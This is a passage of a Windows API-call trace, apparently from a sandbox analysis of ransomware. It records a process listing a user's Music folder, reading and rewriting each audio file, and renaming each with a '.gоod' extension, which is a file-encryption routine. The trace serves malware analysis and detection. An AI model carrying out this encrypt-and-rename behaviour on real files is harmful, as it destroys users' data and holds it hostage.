(dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0203.316] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb", lpFilePart=0x0) returned 0x1e [0203.316] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee253110, ftCreationTime.dwHighDateTime=0x1d4d5c7, ftLastAccessTime.dwLowDateTime=0x1bd8d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d287, ftLastWriteTime.dwLowDateTime=0x1bd8d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d287, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0203.317] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee253110, ftCreationTime.dwHighDateTime=0x1d4d5c7, ftLastAccessTime.dwLowDateTime=0x1bd8d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d287, ftLastWriteTime.dwLowDateTime=0x1bd8d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d287, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.317] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc764c860, ftCreationTime.dwHighDateTime=0x1d4ce0b, ftLastAccessTime.dwLowDateTime=0xabbdaff0, ftLastAccessTime.dwHighDateTime=0x1d4c622, ftLastWriteTime.dwLowDateTime=0xabbdaff0, ftLastWriteTime.dwHighDateTime=0x1d4c622, nFileSizeHigh=0x0, nFileSizeLow=0x16e6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="bRHelJwgheS4vO.wav", cAlternateFileName="BRHELJ~1.WAV")) returned 1 [0203.317] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5b04590, ftCreationTime.dwHighDateTime=0x1d4c8fe, ftLastAccessTime.dwLowDateTime=0xdcb64060, ftLastAccessTime.dwHighDateTime=0x1d4d282, ftLastWriteTime.dwLowDateTime=0xdcb64060, ftLastWriteTime.dwHighDateTime=0x1d4d282, nFileSizeHigh=0x0, nFileSizeLow=0xdf8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="E_p_3t.mp3", cAlternateFileName="")) returned 1 [0203.317] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff2d880, ftCreationTime.dwHighDateTime=0x1d4d540, ftLastAccessTime.dwLowDateTime=0x4f728ba0, ftLastAccessTime.dwHighDateTime=0x1d4c62a, ftLastWriteTime.dwLowDateTime=0x4f728ba0, ftLastWriteTime.dwHighDateTime=0x1d4c62a, nFileSizeHigh=0x0, nFileSizeLow=0x12fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VxpzaVh3.mp3", cAlternateFileName="")) returned 1 [0203.317] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0203.317] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0203.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0203.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0203.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0203.317] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb", lpFilePart=0x0) returned 0x1e [0203.317] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee253110, ftCreationTime.dwHighDateTime=0x1d4d5c7, ftLastAccessTime.dwLowDateTime=0x1bd8d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d287, ftLastWriteTime.dwLowDateTime=0x1bd8d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d287, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0203.318] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee253110, ftCreationTime.dwHighDateTime=0x1d4d5c7, ftLastAccessTime.dwLowDateTime=0x1bd8d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d287, ftLastWriteTime.dwLowDateTime=0x1bd8d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d287, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.318] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc764c860, ftCreationTime.dwHighDateTime=0x1d4ce0b, ftLastAccessTime.dwLowDateTime=0xabbdaff0, ftLastAccessTime.dwHighDateTime=0x1d4c622, ftLastWriteTime.dwLowDateTime=0xabbdaff0, ftLastWriteTime.dwHighDateTime=0x1d4c622, nFileSizeHigh=0x0, nFileSizeLow=0x16e6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="bRHelJwgheS4vO.wav", cAlternateFileName="BRHELJ~1.WAV")) returned 1 [0203.318] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5b04590, ftCreationTime.dwHighDateTime=0x1d4c8fe, ftLastAccessTime.dwLowDateTime=0xdcb64060, ftLastAccessTime.dwHighDateTime=0x1d4d282, ftLastWriteTime.dwLowDateTime=0xdcb64060, ftLastWriteTime.dwHighDateTime=0x1d4d282, nFileSizeHigh=0x0, nFileSizeLow=0xdf8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="E_p_3t.mp3", cAlternateFileName="")) returned 1 [0203.318] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff2d880, ftCreationTime.dwHighDateTime=0x1d4d540, ftLastAccessTime.dwLowDateTime=0x4f728ba0, ftLastAccessTime.dwHighDateTime=0x1d4c62a, ftLastWriteTime.dwLowDateTime=0x4f728ba0, ftLastWriteTime.dwHighDateTime=0x1d4c62a, nFileSizeHigh=0x0, nFileSizeLow=0x12fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VxpzaVh3.mp3", cAlternateFileName="")) returned 1 [0203.318] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff2d880, ftCreationTime.dwHighDateTime=0x1d4d540, ftLastAccessTime.dwLowDateTime=0x4f728ba0, ftLastAccessTime.dwHighDateTime=0x1d4c62a, ftLastWriteTime.dwLowDateTime=0x4f728ba0, ftLastWriteTime.dwHighDateTime=0x1d4c62a, nFileSizeHigh=0x0, nFileSizeLow=0x12fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VxpzaVh3.mp3", cAlternateFileName="")) returned 0 [0203.318] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0203.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0203.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0203.319] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", lpFilePart=0x0) returned 0x31 [0203.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0203.319] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\brheljwghes4vo.wav"), fInfoLevelId=0x0, lpFileInformation=0x3601968 | out: lpFileInformation=0x3601968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc764c860, ftCreationTime.dwHighDateTime=0x1d4ce0b, ftLastAccessTime.dwLowDateTime=0xabbdaff0, ftLastAccessTime.dwHighDateTime=0x1d4c622, ftLastWriteTime.dwLowDateTime=0xabbdaff0, ftLastWriteTime.dwHighDateTime=0x1d4c622, nFileSizeHigh=0x0, nFileSizeLow=0x16e6b)) returned 1 [0203.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0203.319] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", lpFilePart=0x0) returned 0x31 [0203.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0203.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\brheljwghes4vo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0203.319] GetFileType (hFile=0x828) returned 0x1 [0203.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0203.319] GetFileType (hFile=0x828) returned 0x1 [0203.319] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0203.320] ReadFile (in: hFile=0x828, lpBuffer=0x3601d40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x3601d40*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0203.320] CloseHandle (hObject=0x828) returned 1 [0203.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", lpFilePart=0x0) returned 0x31 [0203.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0203.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\brheljwghes4vo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0203.321] GetFileType (hFile=0x828) returned 0x1 [0203.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0203.321] GetFileType (hFile=0x828) returned 0x1 [0203.321] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x16e6b [0203.321] WriteFile (in: hFile=0x828, lpBuffer=0x3602fb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x3602fb8*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0203.321] CloseHandle (hObject=0x828) returned 1 [0203.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", lpFilePart=0x0) returned 0x31 [0203.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0203.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\brheljwghes4vo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0203.321] GetFileType (hFile=0x828) returned 0x1 [0203.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0203.321] GetFileType (hFile=0x828) returned 0x1 [0203.321] ReadFile (in: hFile=0x828, lpBuffer=0x3605258, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x3605258*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0204.375] CloseHandle (hObject=0x828) returned 1 [0204.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", lpFilePart=0x0) returned 0x31 [0204.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.376] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\brheljwghes4vo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.376] GetFileType (hFile=0x828) returned 0x1 [0204.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.376] GetFileType (hFile=0x828) returned 0x1 [0204.376] WriteFile (in: hFile=0x828, lpBuffer=0x336c2d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x336c2d0*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0204.376] CloseHandle (hObject=0x828) returned 1 [0204.378] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav", lpFilePart=0x0) returned 0x31 [0204.378] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav.gоod", lpFilePart=0x0) returned 0x36 [0204.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0204.379] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\brheljwghes4vo.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc764c860, ftCreationTime.dwHighDateTime=0x1d4ce0b, ftLastAccessTime.dwLowDateTime=0xabbdaff0, ftLastAccessTime.dwHighDateTime=0x1d4c622, ftLastWriteTime.dwLowDateTime=0x7607f04a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16e7b)) returned 1 [0204.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0204.379] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\brheljwghes4vo.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\bRHelJwgheS4vO.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\brheljwghes4vo.wav.gоod")) returned 1 [0204.380] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", lpFilePart=0x0) returned 0x29 [0204.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0204.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\e_p_3t.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3507c90 | out: lpFileInformation=0x3507c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5b04590, ftCreationTime.dwHighDateTime=0x1d4c8fe, ftLastAccessTime.dwLowDateTime=0xdcb64060, ftLastAccessTime.dwHighDateTime=0x1d4d282, ftLastWriteTime.dwLowDateTime=0xdcb64060, ftLastWriteTime.dwHighDateTime=0x1d4d282, nFileSizeHigh=0x0, nFileSizeLow=0xdf8b)) returned 1 [0204.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0204.380] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", lpFilePart=0x0) returned 0x29 [0204.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\e_p_3t.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.380] GetFileType (hFile=0x828) returned 0x1 [0204.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.380] GetFileType (hFile=0x828) returned 0x1 [0204.380] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0204.380] ReadFile (in: hFile=0x828, lpBuffer=0x3508028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x3508028*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0204.381] CloseHandle (hObject=0x828) returned 1 [0204.381] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", lpFilePart=0x0) returned 0x29 [0204.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.381] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\e_p_3t.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.381] GetFileType (hFile=0x828) returned 0x1 [0204.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.382] GetFileType (hFile=0x828) returned 0x1 [0204.382] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0xdf8b [0204.382] WriteFile (in: hFile=0x828, lpBuffer=0x3509280*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x3509280*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0204.382] CloseHandle (hObject=0x828) returned 1 [0204.382] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", lpFilePart=0x0) returned 0x29 [0204.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\e_p_3t.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.382] GetFileType (hFile=0x828) returned 0x1 [0204.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.382] GetFileType (hFile=0x828) returned 0x1 [0204.382] ReadFile (in: hFile=0x828, lpBuffer=0x350b500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x350b500*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0204.645] CloseHandle (hObject=0x828) returned 1 [0204.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", lpFilePart=0x0) returned 0x29 [0204.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\e_p_3t.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0204.646] GetFileType (hFile=0x828) returned 0x1 [0204.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0204.646] GetFileType (hFile=0x828) returned 0x1 [0204.646] WriteFile (in: hFile=0x828, lpBuffer=0x33ae0c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x33ae0c8*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0204.646] CloseHandle (hObject=0x828) returned 1 [0204.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3", lpFilePart=0x0) returned 0x29 [0204.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3.gоod", lpFilePart=0x0) returned 0x2e [0204.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0204.646] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\e_p_3t.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5b04590, ftCreationTime.dwHighDateTime=0x1d4c8fe, ftLastAccessTime.dwLowDateTime=0xdcb64060, ftLastAccessTime.dwHighDateTime=0x1d4d282, ftLastWriteTime.dwLowDateTime=0x7630793e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdf9b)) returned 1 [0204.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0204.647] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\e_p_3t.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\E_p_3t.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\e_p_3t.mp3.gоod")) returned 1 [0204.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", lpFilePart=0x0) returned 0x2b [0204.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0204.648] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3" (normalized: "c:\\users\\fd1hvy\\music\\smhjlkkb\\vxpzavh3.mp3"), fInfoLevelId=0x0, lpFileInformation=0x34af7f8 | out: lpFileInformation=0x34af7f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff2d880, ftCreationTime.dwHighDateTime=0x1d4d540, ftLastAccessTime.dwLowDateTime=0x4f728ba0, ftLastAccessTime.dwHighDateTime=0x1d4c62a, ftLastWriteTime.dwLowDateTime=0x4f728ba0, ftLastWriteTime.dwHighDateTime=0x1d4c62a, nFileSizeHigh=0x0, nFileSizeLow=0x12fe7)) returned 1 [0204.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0204.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3", lpFilePart=0x0) returned 0x2b [0204.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0204.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SmHJlkKb\\VxpzaVh3.mp3" (normalized: 